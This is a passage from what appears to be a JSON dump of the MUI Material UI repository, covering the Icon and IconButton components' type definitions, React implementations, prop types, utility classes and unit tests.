inherit font size.\n   * @default 'medium'\n   */\n  fontSize?:\n    | OverridableStringUnion<'inherit' | 'large' | 'medium' | 'small', IconPropsSizeOverrides>\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface IconTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'span',\n> {\n  props: AdditionalProps & IconOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Icons](https://next.mui.com/material-ui/icons/)\n * - [Material Icons](https://next.mui.com/material-ui/material-icons/)\n *\n * API:\n *\n * - [Icon API](https://next.mui.com/material-ui/api/icon/)\n */\ndeclare const Icon: OverridableComponent<IconTypeMap> & { muiName: string };\n\nexport type IconProps<\n  RootComponent extends React.ElementType = IconTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<IconTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Icon;\n"
  },
  {
    "path": "packages/mui-material/src/Icon/Icon.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport capitalize from '../utils/capitalize';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getIconUtilityClass } from './iconClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { color, fontSize, classes } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      color !== 'inherit' && `color${capitalize(color)}`,\n      `fontSize${capitalize(fontSize)}`,\n    ],\n  };\n\n  return composeClasses(slots, getIconUtilityClass, classes);\n};\n\nconst IconRoot = styled('span', {\n  name: 'MuiIcon',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      ownerState.color !== 'inherit' && styles[`color${capitalize(ownerState.color)}`],\n      styles[`fontSize${capitalize(ownerState.fontSize)}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    userSelect: 'none',\n    width: '1em',\n    height: '1em',\n    // Chrome fix for https://issues.chromium.org/issues/41375697\n    // To remove at some point.\n    overflow: 'hidden',\n    display: 'inline-block', // allow overflow hidden to take action\n    textAlign: 'center', // support non-square icon\n    flexShrink: 0,\n    variants: [\n      {\n        props: {\n          fontSize: 'inherit',\n        },\n        style: {\n          fontSize: 'inherit',\n        },\n      },\n      {\n        props: {\n          fontSize: 'small',\n        },\n        style: {\n          fontSize: theme.typography.pxToRem(20),\n        },\n      },\n      {\n        props: {\n          fontSize: 'medium',\n        },\n        style: {\n          fontSize: theme.typography.pxToRem(24),\n        },\n      },\n      {\n        props: {\n          fontSize: 'large',\n        },\n        style: {\n          fontSize: theme.typography.pxToRem(36),\n        },\n      },\n      {\n        props: {\n          color: 'action',\n        },\n        style: {\n          color: (theme.vars || theme).palette.action.active,\n        },\n      },\n      {\n        props: {\n          color: 'disabled',\n        },\n        style: {\n          color: (theme.vars || theme).palette.action.disabled,\n        },\n      },\n      {\n        props: {\n          color: 'inherit',\n        },\n        style: {\n          color: undefined,\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            color: (theme.vars || theme).palette[color].main,\n          },\n        })),\n    ],\n  })),\n);\n\nconst Icon = React.forwardRef(function Icon(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiIcon' });\n  const {\n    baseClassName = 'material-icons',\n    className,\n    color = 'inherit',\n    component: Component = 'span',\n    fontSize = 'medium',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    baseClassName,\n    color,\n    component: Component,\n    fontSize,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <IconRoot\n      as={Component}\n      className={clsx(\n        baseClassName,\n        // Prevent the translation of the text content.\n        // The font relies on the exact text content to render the icon.\n        'notranslate',\n        classes.root,\n        className,\n      )}\n      ownerState={ownerState}\n      aria-hidden\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nIcon.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The base class applied to the icon. Defaults to 'material-icons', but can be changed to any\n   * other base class that suits the icon font you're using (for example material-icons-rounded, fas, etc).\n   * @default 'material-icons'\n   */\n  baseClassName: PropTypes.string,\n  /**\n   * The name of the icon font ligature.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'inherit'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf([\n      'inherit',\n      'action',\n      'disabled',\n      'primary',\n      'secondary',\n      'error',\n      'info',\n      'success',\n      'warning',\n    ]),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The fontSize applied to the icon. Defaults to 24px, but can be configure to inherit font size.\n   * @default 'medium'\n   */\n  fontSize: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['inherit', 'large', 'medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nIcon.muiName = 'Icon';\n\nexport default Icon;\n"
  },
  {
    "path": "packages/mui-material/src/Icon/Icon.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Icon, { iconClasses as classes } from '@mui/material/Icon';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Icon />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Icon>account_circle</Icon>, () => ({\n    classes,\n    inheritComponent: 'span',\n    render,\n    muiName: 'MuiIcon',\n    refInstanceof: window.HTMLSpanElement,\n    testComponentPropWith: 'div',\n    skip: ['themeVariants'],\n  }));\n\n  it('renders children by default', () => {\n    render(<Icon data-testid=\"root\">account_circle</Icon>);\n\n    expect(screen.getByTestId('root')).to.have.text('account_circle');\n  });\n\n  describe('optional classes', () => {\n    it('should render with the secondary color', () => {\n      render(\n        <Icon data-testid=\"root\" color=\"secondary\">\n          account_circle\n        </Icon>,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class(classes.colorSecondary);\n    });\n\n    it('should render with the action color', () => {\n      render(\n        <Icon data-testid=\"root\" color=\"action\">\n          account_circle\n        </Icon>,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class(classes.colorAction);\n    });\n\n    it('should render with the error color', () => {\n      render(\n        <Icon data-testid=\"root\" color=\"error\">\n          account_circle\n        </Icon>,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class(classes.colorError);\n    });\n\n    it('should render with the primary class', () => {\n      render(\n        <Icon data-testid=\"root\" color=\"primary\">\n          account_circle\n        </Icon>,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class(classes.colorPrimary);\n    });\n\n    it('should render without the default class', () => {\n      render(\n        <Icon data-testid=\"root\" baseClassName=\"material-icons-round\">\n          account_circle\n        </Icon>,\n      );\n\n      expect(screen.getByTestId('root')).not.to.have.class('material-icons');\n    });\n\n    it('should render with the supplied base class', () => {\n      render(\n        <Icon data-testid=\"root\" baseClassName=\"material-icons-round\">\n          account_circle\n        </Icon>,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class('material-icons-round');\n    });\n  });\n\n  describe('prop: fontSize', () => {\n    it('should be able to change the fontSize', () => {\n      render(\n        <Icon data-testid=\"root\" fontSize=\"inherit\">\n          account_circle\n        </Icon>,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class(classes.fontSizeInherit);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Icon/iconClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface IconClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** Styles applied to the root element if `color=\"action\"`. */\n  colorAction: string;\n  /** Styles applied to the root element if `color=\"error\"`. */\n  colorError: string;\n  /** Styles applied to the root element if `color=\"disabled\"`. */\n  colorDisabled: string;\n  /** Styles applied to the root element if `fontSize=\"inherit\"`. */\n  fontSizeInherit: string;\n  /** Styles applied to the root element if `fontSize=\"small\"`. */\n  fontSizeSmall: string;\n  /** Styles applied to the root element if `fontSize=\"large\"`. */\n  fontSizeLarge: string;\n}\n\nexport type IconClassKey = keyof IconClasses;\n\nexport function getIconUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiIcon', slot);\n}\n\nconst iconClasses: IconClasses = generateUtilityClasses('MuiIcon', [\n  'root',\n  'colorPrimary',\n  'colorSecondary',\n  'colorAction',\n  'colorError',\n  'colorDisabled',\n  'fontSizeInherit',\n  'fontSizeSmall',\n  'fontSizeMedium',\n  'fontSizeLarge',\n]);\n\nexport default iconClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Icon/index.d.ts",
    "content": "export { default } from './Icon';\nexport * from './Icon';\n\nexport { default as iconClasses } from './iconClasses';\nexport * from './iconClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Icon/index.js",
    "content": "export { default } from './Icon';\n\nexport { default as iconClasses } from './iconClasses';\nexport * from './iconClasses';\n"
  },
  {
    "path": "packages/mui-material/src/IconButton/IconButton.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { ExtendButtonBase, ExtendButtonBaseTypeMap } from '../ButtonBase';\nimport { OverrideProps } from '../OverridableComponent';\nimport { IconButtonClasses } from './iconButtonClasses';\n\nexport interface IconButtonPropsColorOverrides {}\n\nexport interface IconButtonPropsSizeOverrides {}\n\nexport interface IconButtonOwnProps {\n  /**\n   * The icon to display.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<IconButtonClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'default'\n   */\n  color?:\n    | OverridableStringUnion<\n        'inherit' | 'default' | 'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning',\n        IconButtonPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple?: boolean | undefined;\n  /**\n   * If given, uses a negative margin to counteract the padding on one\n   * side (this is often helpful for aligning the left or right\n   * side of the icon with content above or below, without ruining the border\n   * size and shape).\n   * @default false\n   */\n  edge?: 'start' | 'end' | false | undefined;\n  /**\n   * If `true`, the loading indicator is visible and the button is disabled.\n   * If `true | false`, the loading wrapper is always rendered before the children to prevent [Google Translation Crash](https://github.com/mui/material-ui/issues/27853).\n   * @default null\n   */\n  loading?: boolean | null | undefined;\n  /**\n   * Element placed before the children if the button is in loading state.\n   * The node should contain an element with `role=\"progressbar\"` with an accessible name.\n   * By default, it renders a `CircularProgress` that is labeled by the button itself.\n   * @default <CircularProgress color=\"inherit\" size={16} />\n   */\n  loadingIndicator?: React.ReactNode;\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense button styling.\n   * @default 'medium'\n   */\n  size?:\n    | OverridableStringUnion<'small' | 'medium' | 'large', IconButtonPropsSizeOverrides>\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type IconButtonTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'button',\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & IconButtonOwnProps;\n  defaultComponent: RootComponent;\n}>;\n\n/**\n * Refer to the [Icons](https://next.mui.com/material-ui/icons/) section of the documentation\n * regarding the available icon options.\n *\n * Demos:\n *\n * - [Button](https://next.mui.com/material-ui/react-button/)\n * - [Number Field](https://next.mui.com/material-ui/react-number-field/)\n *\n * API:\n *\n * - [IconButton API](https://next.mui.com/material-ui/api/icon-button/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const IconButton: ExtendButtonBase<IconButtonTypeMap>;\n\nexport type IconButtonProps<\n  RootComponent extends React.ElementType = IconButtonTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<IconButtonTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default IconButton;\n"
  },
  {
    "path": "packages/mui-material/src/IconButton/IconButton.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { unstable_useId as useId } from '../utils';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport ButtonBase from '../ButtonBase';\nimport CircularProgress from '../CircularProgress';\nimport capitalize from '../utils/capitalize';\nimport iconButtonClasses, { getIconButtonUtilityClass } from './iconButtonClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disabled, color, edge, size, loading } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      loading && 'loading',\n      disabled && 'disabled',\n      color !== 'default' && `color${capitalize(color)}`,\n      edge && `edge${capitalize(edge)}`,\n      `size${capitalize(size)}`,\n    ],\n    loadingIndicator: ['loadingIndicator'],\n    loadingWrapper: ['loadingWrapper'],\n  };\n\n  return composeClasses(slots, getIconButtonUtilityClass, classes);\n};\n\nconst IconButtonRoot = styled(ButtonBase, {\n  name: 'MuiIconButton',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      ownerState.loading && styles.loading,\n      ownerState.color !== 'default' && styles[`color${capitalize(ownerState.color)}`],\n      ownerState.edge && styles[`edge${capitalize(ownerState.edge)}`],\n      styles[`size${capitalize(ownerState.size)}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    textAlign: 'center',\n    flex: '0 0 auto',\n    fontSize: theme.typography.pxToRem(24),\n    padding: 8,\n    borderRadius: '50%',\n    color: (theme.vars || theme).palette.action.active,\n    transition: theme.transitions.create('background-color', {\n      duration: theme.transitions.duration.shortest,\n    }),\n    variants: [\n      {\n        props: (props) => !props.disableRipple,\n        style: {\n          '--IconButton-hoverBg': theme.alpha(\n            (theme.vars || theme).palette.action.active,\n            (theme.vars || theme).palette.action.hoverOpacity,\n          ),\n          '&:hover': {\n            backgroundColor: 'var(--IconButton-hoverBg)',\n            // Reset on touch devices, it doesn't add specificity\n            '@media (hover: none)': {\n              backgroundColor: 'transparent',\n            },\n          },\n        },\n      },\n      {\n        props: { edge: 'start' },\n        style: {\n          marginLeft: -12,\n        },\n      },\n      {\n        props: { edge: 'start', size: 'small' },\n        style: {\n          marginLeft: -3,\n        },\n      },\n      {\n        props: { edge: 'end' },\n        style: {\n          marginRight: -12,\n        },\n      },\n      {\n        props: { edge: 'end', size: 'small' },\n        style: {\n          marginRight: -3,\n        },\n      },\n    ],\n  })),\n  memoTheme(({ theme }) => ({\n    variants: [\n      {\n        props: { color: 'inherit' },\n        style: {\n          color: 'inherit',\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter()) // check all the used fields in the style below\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            color: (theme.vars || theme).palette[color].main,\n          },\n        })),\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter()) // check all the used fields in the style below\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            '--IconButton-hoverBg': theme.alpha(\n              (theme.vars || theme).palette[color].main,\n              (theme.vars || theme).palette.action.hoverOpacity,\n            ),\n          },\n        })),\n      {\n        props: { size: 'small' },\n        style: {\n          padding: 5,\n          fontSize: theme.typography.pxToRem(18),\n        },\n      },\n      {\n        props: { size: 'large' },\n        style: {\n          padding: 12,\n          fontSize: theme.typography.pxToRem(28),\n        },\n      },\n    ],\n    [`&.${iconButtonClasses.disabled}`]: {\n      backgroundColor: 'transparent',\n      color: (theme.vars || theme).palette.action.disabled,\n    },\n    [`&.${iconButtonClasses.loading}`]: {\n      color: 'transparent',\n    },\n  })),\n);\n\nconst IconButtonLoadingIndicator = styled('span', {\n  name: 'MuiIconButton',\n  slot: 'LoadingIndicator',\n})(({ theme }) => ({\n  display: 'none',\n  position: 'absolute',\n  visibility: 'visible',\n  top: '50%',\n  left: '50%',\n  transform: 'translate(-50%, -50%)',\n  color: (theme.vars || theme).palette.action.disabled,\n  variants: [{ props: { loading: true }, style: { display: 'flex' } }],\n}));\n\n/**\n * Refer to the [Icons](/material-ui/icons/) section of the documentation\n * regarding the available icon options.\n */\nconst IconButton = React.forwardRef(function IconButton(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiIconButton' });\n  const {\n    edge = false,\n    children,\n    className,\n    color = 'default',\n    disabled = false,\n    disableFocusRipple = false,\n    size = 'medium',\n    id: idProp,\n    loading = null,\n    loadingIndicator: loadingIndicatorProp,\n    ...other\n  } = props;\n\n  const loadingId = useId(idProp);\n  const loadingIndicator = loadingIndicatorProp ?? (\n    <CircularProgress aria-labelledby={loadingId} color=\"inherit\" size={16} />\n  );\n\n  const ownerState = {\n    ...props,\n    edge,\n    color,\n    disabled,\n    disableFocusRipple,\n    loading,\n    loadingIndicator,\n    size,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <IconButtonRoot\n      id={loading ? loadingId : idProp}\n      className={clsx(classes.root, className)}\n      centerRipple\n      internalNativeButton\n      focusRipple={!disableFocusRipple}\n      disabled={disabled || loading}\n      ref={ref}\n      {...other}\n      ownerState={ownerState}\n    >\n      {typeof loading === 'boolean' && (\n        // use plain HTML span to minimize the runtime overhead\n        <span className={classes.loadingWrapper} style={{ display: 'contents' }}>\n          <IconButtonLoadingIndicator className={classes.loadingIndicator} ownerState={ownerState}>\n            {loading && loadingIndicator}\n          </IconButtonLoadingIndicator>\n        </span>\n      )}\n      {children}\n    </IconButtonRoot>\n  );\n});\n\nIconButton.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The icon to display.\n   */\n  children: chainPropTypes(PropTypes.node, (props) => {\n    const found = React.Children.toArray(props.children).some(\n      (child) => React.isValidElement(child) && child.props.onClick,\n    );\n\n    if (found) {\n      return new Error(\n        [\n          'MUI: You are providing an onClick event listener to a child of a button element.',\n          'Prefer applying it to the IconButton directly.',\n          'This guarantees that the whole <button> will be responsive to click events.',\n        ].join('\\n'),\n      );\n    }\n\n    return null;\n  }),\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'default'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf([\n      'inherit',\n      'default',\n      'primary',\n      'secondary',\n      'error',\n      'info',\n      'success',\n      'warning',\n    ]),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple: PropTypes.bool,\n  /**\n   * If `true`, the ripple effect is disabled.\n   *\n   * ⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure\n   * to highlight the element by applying separate styles with the `.Mui-focusVisible` class.\n   * @default false\n   */\n  disableRipple: PropTypes.bool,\n  /**\n   * If given, uses a negative margin to counteract the padding on one\n   * side (this is often helpful for aligning the left or right\n   * side of the icon with content above or below, without ruining the border\n   * size and shape).\n   * @default false\n   */\n  edge: PropTypes.oneOf(['end', 'start', false]),\n  /**\n   * @ignore\n   */\n  id: PropTypes.string,\n  /**\n   * If `true`, the loading indicator is visible and the button is disabled.\n   * If `true | false`, the loading wrapper is always rendered before the children to prevent [Google Translation Crash](https://github.com/mui/material-ui/issues/27853).\n   * @default null\n   */\n  loading: PropTypes.bool,\n  /**\n   * Element placed before the children if the button is in loading state.\n   * The node should contain an element with `role=\"progressbar\"` with an accessible name.\n   * By default, it renders a `CircularProgress` that is labeled by the button itself.\n   * @default <CircularProgress color=\"inherit\" size={16} />\n   */\n  loadingIndicator: PropTypes.node,\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense button styling.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['small', 'medium', 'large']),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default IconButton;\n"
  },
  {
    "path": "packages/mui-material/src/IconButton/IconButton.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport PropTypes from 'prop-types';\nimport { createRenderer, reactMajor, screen, within } from '@mui/internal-test-utils';\nimport capitalize from '@mui/utils/capitalize';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport IconButton, { iconButtonClasses as classes } from '@mui/material/IconButton';\nimport Icon from '@mui/material/Icon';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport describeConformance from '../../test/describeConformance';\nimport * as ripple from '../../test/ripple';\n\ndescribe('<IconButton />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<IconButton>book</IconButton>, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    refInstanceof: window.HTMLButtonElement,\n    muiName: 'MuiIconButton',\n    testVariantProps: { edge: 'end', disabled: true },\n    skip: ['componentProp'],\n  }));\n\n  it('should render Icon children with right classes', () => {\n    const childClassName = 'child-woof';\n    const iconChild = <Icon data-testid=\"icon\" className={childClassName} />;\n    render(<IconButton>{iconChild}</IconButton>);\n\n    expect(screen.getByTestId('icon')).to.have.class(childClassName);\n  });\n\n  it('should have a ripple', async () => {\n    const { container } = render(\n      <IconButton TouchRippleProps={{ className: 'touch-ripple' }}>book</IconButton>,\n    );\n    await ripple.startTouch(screen.getByRole('button'));\n    expect(container.querySelector('.touch-ripple')).not.to.equal(null);\n  });\n\n  it('can disable the ripple and hover effect', async () => {\n    const { container } = render(\n      <IconButton disableRipple TouchRippleProps={{ className: 'touch-ripple' }}>\n        book\n      </IconButton>,\n    );\n    await ripple.startTouch(screen.getByRole('button'));\n    expect(container.querySelector('.touch-ripple')).to.equal(null);\n  });\n\n  describe('prop: size', () => {\n    it('should render the right class', () => {\n      let root;\n      root = render(<IconButton size=\"small\">book</IconButton>).container.firstChild;\n      expect(root).to.have.class(classes.sizeSmall);\n\n      root = render(<IconButton size=\"medium\">book</IconButton>).container.firstChild;\n      expect(root).not.to.have.class(classes.sizeSmall);\n\n      root = render(<IconButton size=\"large\">book</IconButton>).container.firstChild;\n      expect(root).to.have.class(classes.sizeLarge);\n\n      root = render(<IconButton>book</IconButton>).container.firstChild;\n      expect(root).not.to.have.class(classes.sizeSmall);\n      expect(root).not.to.have.class(classes.sizeLarge);\n    });\n  });\n\n  describe('prop: edge', () => {\n    it('edge=\"start\" should render the right class', () => {\n      const { container } = render(<IconButton edge=\"start\">book</IconButton>);\n\n      expect(container.firstChild).to.have.class(classes.edgeStart);\n    });\n\n    it('edge=\"end\" should render the right class', () => {\n      const { container } = render(<IconButton edge=\"end\">book</IconButton>);\n\n      expect(container.firstChild).to.have.class(classes.edgeEnd);\n    });\n\n    it('no edge should render the right class', () => {\n      const { container } = render(<IconButton>book</IconButton>);\n\n      expect(container.firstChild).not.to.have.class(classes.edgeStart);\n      expect(container.firstChild).not.to.have.class(classes.edgeEnd);\n    });\n  });\n\n  describe('prop: disabled', () => {\n    it('should disable the component', () => {\n      render(<IconButton disabled>book</IconButton>);\n      const button = screen.getByRole('button');\n\n      expect(button).to.have.property('disabled', true);\n      expect(button).to.have.class(classes.disabled);\n    });\n  });\n\n  describe('prop: color', () => {\n    ['primary', 'secondary', 'error', 'info', 'success', 'warning'].forEach((color) => {\n      it(`should render the ${color} class`, () => {\n        render(<IconButton color={color}>Hello World</IconButton>);\n        const button = screen.getByRole('button');\n        expect(button).to.have.class(classes[`color${capitalize(color)}`]);\n      });\n    });\n  });\n\n  // React 19 removed prop types support\n  it.skipIf(reactMajor >= 19)(\n    'should raise a warning about onClick in children because of Firefox',\n    function test() {\n      expect(() => {\n        PropTypes.checkPropTypes(\n          IconButton.propTypes,\n          { classes: {}, children: <svg onClick={() => {}} /> },\n          'prop',\n          'MockedName',\n        );\n      }).toErrorDev(['MUI: You are providing an onClick event listener']);\n    },\n  );\n\n  it('should not throw error for a custom color', () => {\n    expect(() => (\n      <ThemeProvider\n        theme={createTheme({\n          components: {\n            MuiIconButton: {\n              defaultProps: {\n                color: 'custom',\n              },\n            },\n          },\n        })}\n      >\n        <IconButton />\n      </ThemeProvider>\n    )).not.to.throw();\n  });\n\n  it('should disable ripple if disableRipple:true is set in MuiButtonBase', async () => {\n    const { container } = render(\n      <ThemeProvider\n        theme={createTheme({\n          components: {\n            MuiButtonBase: {\n              defaultProps: {\n                disableRipple: true,\n              },\n            },\n          },\n        })}\n      >\n        <IconButton TouchRippleProps={{ className: 'touch-ripple' }}>book</IconButton>,\n      </ThemeProvider>,\n    );\n    await ripple.startTouch(screen.getByRole('button'));\n    expect(container.querySelector('.touch-ripple')).to.equal(null);\n  });\n\n  describe('prop: loading', () => {\n    it('does not render the wrapper by default', () => {\n      render(<IconButton />);\n\n      const button = screen.getByRole('button');\n      expect(button).to.have.property('disabled', false);\n      expect(button.firstChild).to.equal(null);\n    });\n\n    it('disables the button', () => {\n      render(<IconButton loading />);\n\n      const button = screen.getByRole('button');\n      expect(button).to.have.property('tabIndex', -1);\n      expect(button).to.have.property('disabled', true);\n    });\n\n    it('cannot be enabled while `loading`', () => {\n      render(<IconButton disabled={false} loading />);\n\n      expect(screen.getByRole('button')).to.have.property('disabled', true);\n    });\n\n    it('renders a progressbar that is labelled by the button', () => {\n      render(<IconButton loading>Submit</IconButton>);\n\n      const button = screen.getByRole('button');\n      const progressbar = within(button).getByRole('progressbar');\n      expect(progressbar).toHaveAccessibleName('Submit');\n    });\n\n    it('has no id when `loading=false` and no `id` prop is present`', () => {\n      const id = 'some-id';\n      render(\n        <React.Fragment>\n          <IconButton />\n          <IconButton id={id} />\n        </React.Fragment>,\n      );\n\n      const buttons = screen.getAllByRole('button');\n\n      expect(buttons[0]).not.to.have.attribute('id');\n      expect(buttons[1]).to.have.attribute('id', id);\n    });\n  });\n\n  describe('prop: loadingIndicator', () => {\n    it('is not rendered by default', () => {\n      render(<IconButton loadingIndicator=\"loading\">Test</IconButton>);\n\n      expect(screen.getByRole('button')).to.have.text('Test');\n    });\n\n    it('is rendered before the children when `loading`', () => {\n      render(\n        <IconButton loadingIndicator=\"loading…\" loading>\n          Test\n        </IconButton>,\n      );\n\n      expect(screen.getByRole('button')).to.have.text('loading…Test');\n    });\n  });\n\n  describe('prop: nativeButton', () => {\n    it('forwards nativeButton={false} to ButtonBase with a custom component', () => {\n      const CustomSpan = React.forwardRef((props, ref) => <span ref={ref} {...props} />);\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(\n        <IconButton component={CustomSpan} nativeButton={false}>\n          icon\n        </IconButton>,\n      );\n\n      const button = screen.getByRole('button');\n      expect(button).to.have.tagName('SPAN');\n      expect(button).not.to.have.attribute('type');\n\n      // Proves nativeButton={false} was forwarded — without it, ButtonBase\n      // would warn about a non-button host with nativeButton omitted.\n      expect(errorSpy.mock.calls.length).to.equal(0);\n      errorSpy.mockRestore();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/IconButton/iconButtonClasses.ts",
